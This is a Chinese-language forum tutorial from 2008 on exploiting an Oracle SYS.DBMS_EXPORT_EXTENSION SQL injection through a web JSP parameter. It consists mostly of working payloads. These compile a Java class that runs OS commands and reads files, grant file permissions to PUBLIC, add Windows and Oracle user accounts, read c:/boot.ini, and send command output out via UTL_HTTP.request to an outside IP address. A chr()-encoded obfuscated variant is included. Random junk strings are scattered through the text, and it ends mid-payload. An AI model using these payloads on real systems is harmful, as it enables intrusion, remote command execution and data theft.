以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成 / g+ v! C9 O7 T" \; Z, E
6 k/ x- q4 b7 P
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....) . G7 W. g9 t: y# v3 R# x6 o
的形式即可。(用" 'a'|| "是为了让语句返回true值) : h; R4 }- C$ q) w
语句有点长,可能要用post提交。 * {% F/ i: z5 h% s! W* c
以下是各个步骤:
' j) ^7 G+ v$ F0 a1.创建包 # U9 `: E$ x3 B) _
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:8 A) { @: t5 q6 A
/xxx.jsp?id=1 and '1'<>'a'||( : V. h2 D0 b- P$ h) Y9 k
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''" x M7 v2 k4 B
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(* A* e/ M/ O% A- x* \3 Z# L( U
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}. [( G4 E6 f' P2 ?6 O( x
}'''';END;'';END;--','SYS',0,'1',0) from dual $ I7 q+ `& s2 P3 Y1 ]4 m2 e1 ?
)
, ~$ p* n5 Z8 c. q1 e------------------------ 8 r7 P0 q5 N7 F4 F# |
如果url有长度限制,可以把readFile()函数块去掉,即:
/ \ s& u# f7 K( @" Y+ B/xxx.jsp?id=1 and '1'<>'a'||( & w) {8 L: L" j. X
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
1 F. A( a9 J' B) A) b. tcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
. \0 I9 o$ q* Y f1 r6 s @( ]new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}; |- r, \) K; m& \1 z
}'''';END;'';END;--','SYS',0,'1',0) from dual
6 Q8 Z9 O z& }3 y& U3 w" L$ i( T) 7 u/ l' S. J2 ^( U3 g
同时把后面步骤 提到的 对readFile()的处理语句去掉。
8 ~. x! j1 R; r ^! I# e, Z------------------------------ / o& O, [# g! r% m2 g, i
2.赋Java权限
/ ~! T1 O8 O$ n) W( q# {. h' _4 k2 Wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual+ }; d( Z2 C& \. f% ?! ?
3.创建函数
/ G' G5 L# S9 J0 @4 |select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''', w8 ~' S" @3 d0 f2 W
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual' g) {' u/ w8 S0 i W3 b W+ `
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
. Y* E9 s) A' E$ V4 {create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual) P! M% i) l0 D
4.赋public执行函数的权限
3 y# m( {3 v. e3 z- g* tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
# e, T6 O7 {/ \+ J5 t% ?2 ?select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual) ~2 ^! H. ?- x3 p' n. Z2 B
5.测试上面的几步是否成功 7 ~: i# }0 W. X7 {# c/ B, G
and '1'<>'11'||(
( k' }1 K7 [) V% \, Uselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
* K$ _" _2 P% L)
+ l" [# F6 k+ G! O& [! qand '1'<>(
9 a/ C0 r, ^1 h. R+ {select OBJECT_ID from all_objects where object_name ='LINXREADFILE'
% \4 T: d! ~3 K" l$ ^0 y)
# H* W+ B; p3 h6.执行命令: ( i9 w1 o; \+ J% K* F5 K$ Y
/xxx.jsp?id=1 and '1'<>( ) ]3 |5 \5 C8 I+ G1 j
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
2 ?! S6 B( Y. O7 n! A+ I& H# t7 K5 n
) ' a) a" c" ^# O
/xxx.jsp?id=1 and '1'<>( # ` e: F S7 S" R V/ E) J
select sys.LinxReadFile('c:/boot.ini') from dual' X% R" ?. Q" b# O/ T( j
8 T$ j2 O! [* I9 Z5 B6 `3 V- a)
* @. H/ ~; X# {5 X' K# x7 Q2 ^) Y; \ ! x1 q% U5 o! C" w1 c3 E* [/ M
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。 0 K J/ H1 Y' H! x6 A
如果要查看运行结果可以用 union :
, B8 j0 J# N4 y4 H& o( p* ?/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual. l" M# h: ~% R
或者UTL_HTTP.request(:
5 ~4 E" o- F% h/xxx.jsp?id=1 and '1'<>(
/ n+ z$ e2 q6 S1 Z# R* J# S9 ^) m( _SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual+ l" U- O E, F8 ?, x* J
)
) G1 R% D+ Y8 K1 f. M/xxx.jsp?id=1 and '1'<>( ' ~# P' r) z7 q2 @
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual8 v0 Z0 U" D. A
) 8 Y* }: f; R* n5 ?5 U6 [
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
1 U: F5 u5 c, Q$ r$ N2 n-------------------- + v7 c0 h9 \, R; T; z6 t
6.内部变化 , W1 h, u5 m+ O2 u$ _
通过以下命令可以查看all_objects表达改变: 9 e% `) V1 D* |% Q% ?/ i5 V
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'& y6 Z" U) i) M5 C3 w
7.删除我们创建的函数 + d' d P$ \/ Q7 U
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
. U, V* j2 R: _drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual & R9 j6 p! o0 t; v/ A% A
==================================================== % {5 e) p7 t& F3 w0 l. L( @
全文结束。谨以此文赠与我的朋友。 ; Z( r$ _% E+ v% ]" r# r( p$ v
linx 5 I" j3 |, c; `& f/ D
124829445
" d) [$ I1 I% O2008.1.12
! N5 ~, ] _0 Jlinyujian@bjfu.edu.cn
- m5 O5 v( o7 [) P4 ^, ^3 U====================================================================== 9 F, f; b' }8 s6 M8 N8 A0 L
测试漏洞的另一方法:
+ p. `8 ]6 }, O9 p1 x创建oracle帐号:
% o. Y1 \/ e! Mselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''/ D; {$ h, B% f0 S) L! p
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual+ H5 j! D6 L( f( x3 L/ E, U+ N6 V
即:
; j1 o5 b& @3 g% x- dselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
8 p2 p" v) I, G5 C& v5 gchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual : O1 M6 t; _) _" a7 y' D) N; ]
确定漏洞存在:
4 @% a' k2 r! C( e1<>(
% }: [9 n) {- @; H; O- N0 q" h; a! ~select user_id from all_users where username='LINXSQL' + x4 c0 o; m2 ~+ e [
)
% q' R4 y! ]5 p+ C+ Z; f' E5 L给linxsql连接权限: 6 b+ Z8 n1 Z: f6 b1 [
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
0 r" ]6 x, {, ]: }9 F$ tGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
" O6 w5 j2 W# v0 e$ x3 Z: Y删除帐号:
& \) u. B: r% [! `$ wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''5 @$ C5 O5 F* z6 H; z4 h7 d$ \
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
+ k$ ? j0 Y1 w% S6 ?% C$ F====================== 2 h' T5 {* T! g7 f3 j
以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:! d+ a+ [: g, z" }; A! Z
1.jsp?id=1 and '1'<>( 1 a& m' ]( z8 r0 I( Q g! `1 Z
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
* W' J: i1 o/ h5 Y2 a# ~9 `create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual% j V a3 q! I. S
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE6 ~* W+ C! K" N5 W9 _, D) k
)
8 g6 j0 U) l- J
) g2 L6 r" b" H
8 |4 ~ x9 f) J$ E* R! w; c/ g: l8 }( A
|